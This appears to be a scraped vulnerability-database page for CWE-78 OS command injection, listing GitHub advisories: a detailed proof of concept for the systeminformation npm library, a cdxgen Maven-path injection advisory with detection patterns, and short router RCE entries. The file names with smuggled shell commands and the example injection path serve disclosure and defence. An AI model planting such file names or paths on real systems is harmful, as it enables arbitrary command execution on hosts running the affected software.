Common Weakness Enumeration

CWE-78

Allowed

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Abstraction: Base · Status: Stable

API response cwe.mitre.org

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

8320 vulnerabilities reference this CWE, most recent first.

GHSA-5VV4-HVF7-2H46

Vulnerability from github – Published: 2026-02-18 22:36 – Updated: 2026-02-19 21:57
VLAI
Summary
Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation
Details

Command Injection via Unsanitized locate Output in versions() — systeminformation

Package: systeminformation (npm)
Tested Version: 5.30.7
Affected Platform: Linux
Author: Sebastian Hildebrandt
Weekly Downloads: ~5,000,000+
Repository: https://github.com/sebhildebrandt/systeminformation
Severity: Medium
CWE: CWE-78 (OS Command Injection)

The Vulnerable Code Path

Inside the versions() function, when detecting the PostgreSQL version on Linux, the code does this:

// lib/osinfo.js — lines 770-776

exec('locate bin/postgres', (error, stdout) => {
  if (!error) {
    const postgresqlBin = stdout.toString().split('\n').sort();
    if (postgresqlBin.length) {
      exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) => {
        // parses version string...
      });
    }
  }
});

Here's what happens step by step:

  1. It runs locate bin/postgres to search the filesystem for PostgreSQL binaries
  2. It splits the output by newline and sorts the results alphabetically
  3. It takes the last element (highest alphabetically)
  4. It concatenates that path directly into a new exec() call with + ' -V'

No sanitizeShellString(). No path validation. No execFile(). Raw string concatenation into exec().

The locate command reads from a system-wide database (plocate.db or mlocate.db) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to exec().

Exploitation

Prerequisites

For this vulnerability to be exploitable, the following conditions must be met:

  1. Target system runs Linux — the vulnerable code path is inside an if (_linux) block
  2. locate / plocate is installed — common on Ubuntu, Debian, Fedora, RHEL
  3. PostgreSQL binary exists in the locate database — so locate bin/postgres returns results (otherwise the code falls through to a safe psql -V fallback)
  4. The attacker can create files on the filesystem — in any directory that gets indexed by updatedb
  5. The locate database gets updated — updatedb runs daily via systemd timer (plocate-updatedb.timer) or cron on most distros

Step 1 — Verify the Environment

On the target machine, confirm locate is available and running:

which locate
# /usr/bin/locate

systemctl list-timers | grep plocate
# plocate-updatedb.timer    plocate-updatedb.service
# (runs daily, typically around 1-2 AM)

Check who owns the locate database:

ls -la /var/lib/plocate/plocate.db
# -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db

Database is root-owned and updated by root. Regular users cannot update it directly, but updatedb runs on a daily schedule and indexes all readable files.

Step 2 — Craft the Malicious File Path

The key insight is that Linux allows semicolons in filenames, and exec() passes strings through /bin/sh -c which interprets semicolons as command separators.

Create a file whose path contains an injected command:

mkdir -p "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin"
touch "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres"

Verify it exists:

find /var/tmp -name postgres
# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres

This file needs to end up in the locate database. On a real system, this happens automatically when updatedb runs overnight. For testing purposes:

sudo updatedb

Then verify locate picks it up:

locate bin/postgres
# /usr/lib/postgresql/14/bin/postgres
# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres

Step 3 — Understand the Sort Trick

The vulnerable code sorts the locate results alphabetically and takes the last element:

const postgresqlBin = stdout.toString().split('\n').sort();
exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', ...);

Alphabetically, /var/ sorts after /usr/. So our malicious path naturally becomes the selected one:

Node.js sort order:
  [0] /usr/lib/postgresql/14/bin/postgres   ← legitimate
  [1] /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres   ← selected (last)

Quick verification:

node -e "
const paths = [
  '/usr/lib/postgresql/14/bin/postgres',
  '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'
];
console.log('Sorted:', paths.sort());
console.log('Selected (last):', paths[paths.length - 1]);
"

Output:

Sorted: [
  '/usr/lib/postgresql/14/bin/postgres',
  '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'
]
Selected (last): /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres

Step 4 — Trigger the Vulnerability

Now when any application using systeminformation calls versions() requesting the postgresql version, the injected command fires:

const si = require('systeminformation');

// This is a normal, innocent API call
si.versions('postgresql').then(data => {
  console.log(data);
});

Internally, the library builds and executes this command:

/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres -V

The shell (/bin/sh -c) interprets this as three separate commands:

/var/tmp/x                         →  fails silently (not executable)
touch /tmp/SI_RCE_PROOF            →  ATTACKER'S COMMAND EXECUTES
/bin/postgres -V                   →  runs normally, returns version

Step 5 — Verify Code Execution

ls -la /tmp/SI_RCE_PROOF
# -rw-rw-r-- 1 appuser appuser 0 Feb 14 15:30 /tmp/SI_RCE_PROOF

The file exists. Arbitrary command execution confirmed.

The injected command runs with whatever privileges the Node.js process has. In a monitoring dashboard or backend API context, that's typically the application service account.

Real-World Attack Scenarios

Scenario 1 — Shared Hosting / Multi-Tenant Server

A low-privileged user on a shared server creates the malicious file in /tmp or their home directory. The hosting provider runs a monitoring agent that uses systeminformation for health dashboards. Next time the agent calls versions(), the attacker's command executes under the monitoring agent's (higher-privileged) service account.

Scenario 2 — CI/CD Pipeline Poisoning

A malicious contributor submits a PR that includes a build step creating files with crafted names. If the CI pipeline uses systeminformation for environment reporting (common in test harnesses and build dashboards), the injected commands execute in the CI runner context — potentially leaking secrets, tokens, and deployment keys.

Scenario 3 — Container / Kubernetes Escape

In containerized environments where /var or /tmp sits on a shared volume, a compromised container creates the malicious file. When the host-level monitoring agent (running systeminformation) calls versions(), the injected command executes on the host, breaking out of the container boundary.

Suggested Fix

Replace exec() with execFile() for the PostgreSQL binary version check. execFile() does not spawn a shell, so metacharacters in the path are treated as literal characters:

const { execFile } = require('child_process');

exec('locate bin/postgres', (error, stdout) => {
  if (!error) {
    const postgresqlBin = stdout.toString().split('\n')
      .filter(p => p.trim().length > 0)
      .sort();
    if (postgresqlBin.length) {
      execFile(postgresqlBin[postgresqlBin.length - 1], ['-V'], (error, stdout) => {
        // ... parse version
      });
    }
  }
});

Additionally, the locate output should be validated against a safe path pattern before use:

const safePath = /^[a-zA-Z0-9/_.-]+$/;
const postgresqlBin = stdout.toString().split('\n')
  .filter(p => safePath.test(p.trim()))
  .sort();

Disclosure

  • Reported via: GitHub Private Security Advisory
  • Advisory URL: https://github.com/sebhildebrandt/systeminformation/security/advisories/new
  • Security Contact: security@systeminformation.io
Severity
8.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.30.7"
      },
      "package": {
        "ecosystem": "npm",
        "name": "systeminformation"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.31.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26318"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-18T22:36:50Z",
    "nvd_published_at": "2026-02-19T20:25:44Z",
    "severity": "HIGH"
  },
  "details": "# Command Injection via Unsanitized `locate` Output in `versions()` \u2014 systeminformation\n\n**Package:** systeminformation (npm)  \n**Tested Version:** 5.30.7  \n**Affected Platform:** Linux  \n**Author:** Sebastian Hildebrandt  \n**Weekly Downloads:** ~5,000,000+  \n**Repository:** https://github.com/sebhildebrandt/systeminformation  \n**Severity:** Medium  \n**CWE:** CWE-78 (OS Command Injection)  \n\n---\n\n### The Vulnerable Code Path\n\nInside the `versions()` function, when detecting the PostgreSQL version on Linux, the code does this:\n\n```javascript\n// lib/osinfo.js \u2014 lines 770-776\n\nexec(\u0027locate bin/postgres\u0027, (error, stdout) =\u003e {\n  if (!error) {\n    const postgresqlBin = stdout.toString().split(\u0027\\n\u0027).sort();\n    if (postgresqlBin.length) {\n      exec(postgresqlBin[postgresqlBin.length - 1] + \u0027 -V\u0027, (error, stdout) =\u003e {\n        // parses version string...\n      });\n    }\n  }\n});\n```\n\nHere\u0027s what happens step by step:\n\n1. It runs `locate bin/postgres` to search the filesystem for PostgreSQL binaries\n2. It splits the output by newline and sorts the results alphabetically\n3. It takes the **last element** (highest alphabetically)\n4. It concatenates that path directly into a new `exec()` call with `+ \u0027 -V\u0027`\n\n**No `sanitizeShellString()`. No path validation. No `execFile()`. Raw string concatenation into `exec()`.**\n\nThe `locate` command reads from a system-wide database (`plocate.db` or `mlocate.db`) that indexes all filenames on the system. If any indexed filename contains shell metacharacters \u2014 specifically semicolons \u2014 those characters will be interpreted by the shell when passed to `exec()`.\n\n---\n\n## Exploitation\n\n### Prerequisites\n\nFor this vulnerability to be exploitable, the following conditions must be met:\n\n1. **Target system runs Linux** \u2014 the vulnerable code path is inside an `if (_linux)` block\n2. **`locate` / `plocate` is installed** \u2014 common on Ubuntu, Debian, Fedora, RHEL\n3. **PostgreSQL binary exists in the locate database** \u2014 so `locate bin/postgres` returns results (otherwise the code falls through to a safe `psql -V` fallback)\n4. **The attacker can create files on the filesystem** \u2014 in any directory that gets indexed by `updatedb`\n5. **The locate database gets updated** \u2014 `updatedb` runs daily via systemd timer (`plocate-updatedb.timer`) or cron on most distros\n\n### Step 1 \u2014 Verify the Environment\n\nOn the target machine, confirm locate is available and running:\n\n```\nwhich locate\n# /usr/bin/locate\n\nsystemctl list-timers | grep plocate\n# plocate-updatedb.timer    plocate-updatedb.service\n# (runs daily, typically around 1-2 AM)\n```\n\nCheck who owns the locate database:\n\n```\nls -la /var/lib/plocate/plocate.db\n# -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db\n```\n\nDatabase is root-owned and updated by root. Regular users cannot update it directly, but `updatedb` runs on a daily schedule and indexes all readable files.\n\n### Step 2 \u2014 Craft the Malicious File Path\n\nThe key insight is that **Linux allows semicolons in filenames**, and `exec()` passes strings through `/bin/sh -c` which **interprets semicolons as command separators**.\n\nCreate a file whose path contains an injected command:\n\n```\nmkdir -p \"/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin\"\ntouch \"/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\"\n```\n\nVerify it exists:\n\n```\nfind /var/tmp -name postgres\n# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\nThis file needs to end up in the `locate` database. On a real system, this happens automatically when `updatedb` runs overnight. For testing purposes:\n\n```\nsudo updatedb\n```\n\nThen verify locate picks it up:\n\n```\nlocate bin/postgres\n# /usr/lib/postgresql/14/bin/postgres\n# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\n### Step 3 \u2014 Understand the Sort Trick\n\nThe vulnerable code sorts the locate results alphabetically and takes the **last** element:\n\n```javascript\nconst postgresqlBin = stdout.toString().split(\u0027\\n\u0027).sort();\nexec(postgresqlBin[postgresqlBin.length - 1] + \u0027 -V\u0027, ...);\n```\n\nAlphabetically, `/var/` sorts **after** `/usr/`. So our malicious path naturally becomes the selected one:\n\n```\nNode.js sort order:\n  [0] /usr/lib/postgresql/14/bin/postgres   \u2190 legitimate\n  [1] /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres   \u2190 selected (last)\n```\n\nQuick verification:\n\n```\nnode -e \"\nconst paths = [\n  \u0027/usr/lib/postgresql/14/bin/postgres\u0027,\n  \u0027/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\u0027\n];\nconsole.log(\u0027Sorted:\u0027, paths.sort());\nconsole.log(\u0027Selected (last):\u0027, paths[paths.length - 1]);\n\"\n```\n\nOutput:\n\n```\nSorted: [\n  \u0027/usr/lib/postgresql/14/bin/postgres\u0027,\n  \u0027/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\u0027\n]\nSelected (last): /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\n### Step 4 \u2014 Trigger the Vulnerability\n\nNow when any application using systeminformation calls `versions()` requesting the postgresql version, the injected command fires:\n\n```javascript\nconst si = require(\u0027systeminformation\u0027);\n\n// This is a normal, innocent API call\nsi.versions(\u0027postgresql\u0027).then(data =\u003e {\n  console.log(data);\n});\n```\n\nInternally, the library builds and executes this command:\n\n```\n/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres -V\n```\n\nThe shell (`/bin/sh -c`) interprets this as three separate commands:\n\n```\n/var/tmp/x                         \u2192  fails silently (not executable)\ntouch /tmp/SI_RCE_PROOF            \u2192  ATTACKER\u0027S COMMAND EXECUTES\n/bin/postgres -V                   \u2192  runs normally, returns version\n```\n\n### Step 5 \u2014 Verify Code Execution\n\n```\nls -la /tmp/SI_RCE_PROOF\n# -rw-rw-r-- 1 appuser appuser 0 Feb 14 15:30 /tmp/SI_RCE_PROOF\n```\n\nThe file exists. Arbitrary command execution confirmed.\n\nThe injected command runs with **whatever privileges the Node.js process has**. In a monitoring dashboard or backend API context, that\u0027s typically the application service account.\n\n---\n\n## Real-World Attack Scenarios\n\n### Scenario 1 \u2014 Shared Hosting / Multi-Tenant Server\n\nA low-privileged user on a shared server creates the malicious file in `/tmp` or their home directory. The hosting provider runs a monitoring agent that uses `systeminformation` for health dashboards. Next time the agent calls `versions()`, the attacker\u0027s command executes under the monitoring agent\u0027s (higher-privileged) service account.\n\n### Scenario 2 \u2014 CI/CD Pipeline Poisoning\n\nA malicious contributor submits a PR that includes a build step creating files with crafted names. If the CI pipeline uses `systeminformation` for environment reporting (common in test harnesses and build dashboards), the injected commands execute in the CI runner context \u2014 potentially leaking secrets, tokens, and deployment keys.\n\n### Scenario 3 \u2014 Container / Kubernetes Escape\n\nIn containerized environments where `/var` or `/tmp` sits on a shared volume, a compromised container creates the malicious file. When the host-level monitoring agent (running `systeminformation`) calls `versions()`, the injected command executes on the host, breaking out of the container boundary.\n\n---\n\n## Suggested Fix\n\nReplace `exec()` with `execFile()` for the PostgreSQL binary version check. `execFile()` does not spawn a shell, so metacharacters in the path are treated as literal characters:\n\n```javascript\nconst { execFile } = require(\u0027child_process\u0027);\n\nexec(\u0027locate bin/postgres\u0027, (error, stdout) =\u003e {\n  if (!error) {\n    const postgresqlBin = stdout.toString().split(\u0027\\n\u0027)\n      .filter(p =\u003e p.trim().length \u003e 0)\n      .sort();\n    if (postgresqlBin.length) {\n      execFile(postgresqlBin[postgresqlBin.length - 1], [\u0027-V\u0027], (error, stdout) =\u003e {\n        // ... parse version\n      });\n    }\n  }\n});\n```\n\nAdditionally, the locate output should be validated against a safe path pattern before use:\n\n```javascript\nconst safePath = /^[a-zA-Z0-9/_.-]+$/;\nconst postgresqlBin = stdout.toString().split(\u0027\\n\u0027)\n  .filter(p =\u003e safePath.test(p.trim()))\n  .sort();\n```\n\n---\n\n## Disclosure\n\n- **Reported via:** GitHub Private Security Advisory\n- **Advisory URL:** https://github.com/sebhildebrandt/systeminformation/security/advisories/new\n- **Security Contact:** security@systeminformation.io",
  "id": "GHSA-5vv4-hvf7-2h46",
  "modified": "2026-02-19T21:57:18Z",
  "published": "2026-02-18T22:36:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-5vv4-hvf7-2h46"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26318"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sebhildebrandt/systeminformation/commit/b67d3715eec881038ccbaace2f2711419ac3e107"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sebhildebrandt/systeminformation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Command Injection via Unsanitized `locate` Output in `versions()` \u2014 systeminformation"
}

GHSA-5VWC-P62X-PM8G

Vulnerability from github – Published: 2024-01-12 15:30 – Updated: 2024-10-26 00:32
VLAI
Details

TOTOlink EX1800T V9.1.0cu.2112_B20220316 was discovered to contain a remote command execution (RCE) vulnerability via the telnet_enabled parameter of the setTelnetCfg interface

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-52026"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-12T13:15:11Z",
    "severity": "CRITICAL"
  },
  "details": "TOTOlink EX1800T V9.1.0cu.2112_B20220316 was discovered to contain a remote command execution (RCE) vulnerability via the telnet_enabled parameter of the setTelnetCfg interface",
  "id": "GHSA-5vwc-p62x-pm8g",
  "modified": "2024-10-26T00:32:28Z",
  "published": "2024-01-12T15:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52026"
    },
    {
      "type": "WEB",
      "url": "https://815yang.github.io/2023/12/11/EX1800T/2/TOTOlinkEX1800T_V9.1.0cu.2112_B2022031setTelnetCfg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5VWH-R25C-W3Q7

Vulnerability from github – Published: 2023-12-08 18:30 – Updated: 2023-12-08 18:30
VLAI
Details

A vulnerability was found in Totolink X5000R 9.1.0cu.2300_B20230112. It has been rated as critical. This issue affects the function setDdnsCfg/setDynamicRoute/setFirewallType/setIPSecCfg/setIpPortFilterRules/setLancfg/setLoginPasswordCfg/setMacFilterRules/setMtknatCfg/setPortForwardRules/setRemoteCfg/setSSServer/setScheduleCfg/setSmartQosCfg/setStaticDhcpRules/setStaticRoute/setVpnAccountCfg/setVpnPassCfg/setVpnUser/setWiFiAclAddConfig/setWiFiEasyGuestCfg/setWiFiGuestCfg/setWiFiRepeaterConfig/setWiFiScheduleCfg/setWizardCfg of the file /cgi-bin/cstecgi.cgi. The manipulation leads to os command injection. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-247247. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

Severity
5.5 (Medium)
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-6612"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-08T16:15:18Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in Totolink X5000R 9.1.0cu.2300_B20230112. It has been rated as critical. This issue affects the function setDdnsCfg/setDynamicRoute/setFirewallType/setIPSecCfg/setIpPortFilterRules/setLancfg/setLoginPasswordCfg/setMacFilterRules/setMtknatCfg/setPortForwardRules/setRemoteCfg/setSSServer/setScheduleCfg/setSmartQosCfg/setStaticDhcpRules/setStaticRoute/setVpnAccountCfg/setVpnPassCfg/setVpnUser/setWiFiAclAddConfig/setWiFiEasyGuestCfg/setWiFiGuestCfg/setWiFiRepeaterConfig/setWiFiScheduleCfg/setWizardCfg of the file /cgi-bin/cstecgi.cgi. The manipulation leads to os command injection. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-247247. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-5vwh-r25c-w3q7",
  "modified": "2023-12-08T18:30:42Z",
  "published": "2023-12-08T18:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6612"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OraclePi/repo/tree/main/totolink%20X5000R"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.247247"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.247247"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5VWR-QCHF-Q4PF

Vulnerability from github – Published: 2026-06-26 19:47 – Updated: 2026-06-26 19:47
VLAI
Summary
@cyclonedx/cdxgen: Maven project scanning may allow shell command injection through repository-controlled module paths
Details

Summary

A command injection vulnerability existed in the Maven scanning flow of cdxgen before version 12.4.3.

When cdxgen scanned an attacker-controlled Maven project, repository-controlled paths could be used in the Maven command construction. In affected versions, some Maven invocations were executed with shell: true. A directory name containing shell metacharacters could therefore be interpreted by the shell instead of being treated only as a filesystem path.

This could allow an attacker who controls a scanned repository to execute commands in the cdxgen process context.

The issue affected both the CLI and server mode. The issue is patched in 12.4.3.

Affected asset

  • Project: cdxgen
  • Tested version: 12.4.1
  • Mode tested: server mode
  • Endpoint: POST /sbom
  • Scanner path: Java / Maven project scanning

Patch

Version 12.4.3 includes hardening for this issue with PR #4059

The patch adds multiple mitigations:

  • Maven command invocations no longer use unconditional shell execution on POSIX platforms.
  • Bazel command invocation was similarly changed away from unconditional shell execution.
  • Windows compatibility is preserved using shell: isWin where needed.
  • safeSpawnSync now blocks shell: true invocations when the command or direct argument values contain shell metacharacters.
  • cdxgen does not validate or sanitise every nested directory. The threat model is updated to clarify mitigation scope.

Workarounds

The recommended remediation is to upgrade to 12.4.3 or later.

If immediate upgrade is not possible:

  • Do not run cdxgen server mode on untrusted networks.
  • Do not expose POST /sbom to unauthenticated or untrusted clients.
  • Avoid scanning untrusted Java/Maven repositories.
  • Run cdxgen inside a locked-down container or sandbox.
  • Remove sensitive environment variables from the cdxgen process environment.
  • Use least-privilege filesystem mounts.
  • Restrict outbound network access where possible.

Use cdxgen secure/dry-run modes where suitable to inspect planned operations before performing scans. Configure host and command allowlists where applicable, such as:

  • CDXGEN_SERVER_ALLOWED_HOSTS
  • CDXGEN_GIT_ALLOWED_HOSTS
  • CDXGEN_ALLOWED_COMMANDS
  • CDXGEN_SECURE_MODE=true

These mitigations reduce exposure but do not fully address the vulnerable command construction in affected versions.

Threat model clarification

The mitigation added in 12.4.3 applies to the cdxgen process boundary. Specifically, cdxgen now hardens command, option, and path values that cdxgen itself passes to external processes through safeSpawnSync.

This does not mean cdxgen sanitizes every nested path, module name, generated path, or project-controlled value that an external build tool later discovers and interprets inside its own process. Once cdxgen safely invokes Maven, Gradle, Bazel, SBT, or another build tool, that tool’s internal behavior remains a separate trust boundary.

In scope for this fix:

  • command and argument values passed directly by cdxgen to child processes;
  • cdxgen’s own use of shell: true;
  • Maven/Bazel command invocation paths controlled by cdxgen.

Out of scope for this specific mitigation:

  • arbitrary nested paths later discovered by Maven itself;
  • Maven plugin behavior;
  • Maven lifecycle hooks;
  • build-tool-specific interpretation of project files after cdxgen has launched the tool.

This residual risk is documented in the cdxgen threat model and is why untrusted project scans should still be run in sandboxed, least-privileged environments.

Detection

Possible indicators of exploitation or probing include:

  • Maven module directories containing shell metacharacters such as:
;
&
|
<
>
$
backticks
newlines
  • Logs showing settings.xml or pom.xml discovered in suspicious paths.
  • Unexpected files created outside the scanned repository during a Java/Maven scan.
  • Unexpected child process behavior during cdxgen server scans.
  • cdxgen server receiving POST /sbom requests for attacker-controlled Git URLs.

Example suspicious path pattern:

evil;cd${IFS}..;cd${IFS}..;printf${IFS}...>...;#

Credits

Reported-By: @aleff-github

Resources

  • Patch PR - https://github.com/cdxgen/cdxgen/pull/4059
Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@cyclonedx/cdxgen"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T19:47:24Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA command injection vulnerability existed in the Maven scanning flow of cdxgen before version 12.4.3.\n\nWhen cdxgen scanned an attacker-controlled Maven project, repository-controlled paths could be used in the Maven command construction. In affected versions, some Maven invocations were executed with `shell: true`. A directory name containing shell metacharacters could therefore be interpreted by the shell instead of being treated only as a filesystem path.\n\nThis could allow an attacker who controls a scanned repository to execute commands in the cdxgen process context.\n\nThe issue affected both the CLI and server mode. The issue is patched in `12.4.3`.\n\n## Affected asset\n\n- Project: cdxgen\n- Tested version: 12.4.1\n- Mode tested: server mode\n- Endpoint: `POST /sbom`\n- Scanner path: Java / Maven project scanning\n\n## Patch\n\nVersion 12.4.3 includes hardening for this issue with PR #4059 \n\nThe patch adds multiple mitigations:\n\n- Maven command invocations no longer use unconditional shell execution on POSIX platforms.\n- Bazel command invocation was similarly changed away from unconditional shell execution.\n- Windows compatibility is preserved using `shell: isWin` where needed.\n- `safeSpawnSync` now blocks `shell: true` invocations when the command or direct argument values contain shell metacharacters.\n- cdxgen does not validate or sanitise every nested directory. The threat model is updated to clarify mitigation scope.\n\n## Workarounds\n\nThe recommended remediation is to upgrade to 12.4.3 or later.\n\nIf immediate upgrade is not possible:\n\n- Do not run cdxgen server mode on untrusted networks.\n- Do not expose POST /sbom to unauthenticated or untrusted clients.\n- Avoid scanning untrusted Java/Maven repositories.\n- Run cdxgen inside a locked-down container or sandbox.\n- Remove sensitive environment variables from the cdxgen process environment.\n- Use least-privilege filesystem mounts.\n- Restrict outbound network access where possible.\n\nUse cdxgen secure/dry-run modes where suitable to inspect planned operations before performing scans.\nConfigure host and command allowlists where applicable, such as:\n\n- CDXGEN_SERVER_ALLOWED_HOSTS\n- CDXGEN_GIT_ALLOWED_HOSTS\n- CDXGEN_ALLOWED_COMMANDS\n- CDXGEN_SECURE_MODE=true\n\nThese mitigations reduce exposure but do not fully address the vulnerable command construction in affected versions.\n\n## Threat model clarification\n\nThe mitigation added in 12.4.3 applies to the cdxgen process boundary. Specifically, cdxgen now hardens command, option, and path values that cdxgen itself passes to external processes through safeSpawnSync.\n\nThis does not mean cdxgen sanitizes every nested path, module name, generated path, or project-controlled value that an external build tool later discovers and interprets inside its own process. Once cdxgen safely invokes Maven, Gradle, Bazel, SBT, or another build tool, that tool\u2019s internal behavior remains a separate trust boundary.\n\n### In scope for this fix:\n\n- command and argument values passed directly by cdxgen to child processes;\n- cdxgen\u2019s own use of shell: true;\n- Maven/Bazel command invocation paths controlled by cdxgen.\n\n### Out of scope for this specific mitigation:\n- arbitrary nested paths later discovered by Maven itself;\n- Maven plugin behavior;\n- Maven lifecycle hooks;\n- build-tool-specific interpretation of project files after cdxgen has launched the tool.\n\nThis residual risk is documented in the cdxgen threat model and is why untrusted project scans should still be run in sandboxed, least-privileged environments.\n\n## Detection\n\nPossible indicators of exploitation or probing include:\n\n- Maven module directories containing shell metacharacters such as:\n\n```\n;\n\u0026\n|\n\u003c\n\u003e\n$\nbackticks\nnewlines\n```\n\n- Logs showing settings.xml or pom.xml discovered in suspicious paths.\n- Unexpected files created outside the scanned repository during a Java/Maven scan.\n- Unexpected child process behavior during cdxgen server scans.\n- cdxgen server receiving POST /sbom requests for attacker-controlled Git URLs.\n\nExample suspicious path pattern:\n\n```\nevil;cd${IFS}..;cd${IFS}..;printf${IFS}...\u003e...;#\n```\n\n## Credits\n\nReported-By: @aleff-github \n\n## Resources\n\n- Patch PR - https://github.com/cdxgen/cdxgen/pull/4059",
  "id": "GHSA-5vwr-qchf-q4pf",
  "modified": "2026-06-26T19:47:24Z",
  "published": "2026-06-26T19:47:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cdxgen/cdxgen/security/advisories/GHSA-5vwr-qchf-q4pf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cdxgen/cdxgen/pull/4059"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cdxgen/cdxgen"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@cyclonedx/cdxgen: Maven project scanning may allow shell command injection through repository-controlled module paths"
}

GHSA-5W6X-QJ9V-7X6J

Vulnerability from github – Published: 2024-10-28 21:30 – Updated: 2024-10-29 21:30
VLAI
Details

Tenda AC7 v.15.03.06.44 ate_ifconfig_set has pre-authentication command injection allowing remote attackers to execute arbitrary code.

Severity
8.0 (High)
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-48825"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-28T20:15:06Z",
    "severity": "HIGH"
  },
  "details": "Tenda AC7 v.15.03.06.44 ate_ifconfig_set has pre-authentication command injection allowing remote attackers to execute arbitrary code.",
  "id": "GHSA-5w6x-qj9v-7x6j",
  "modified": "2024-10-29T21:30:50Z",
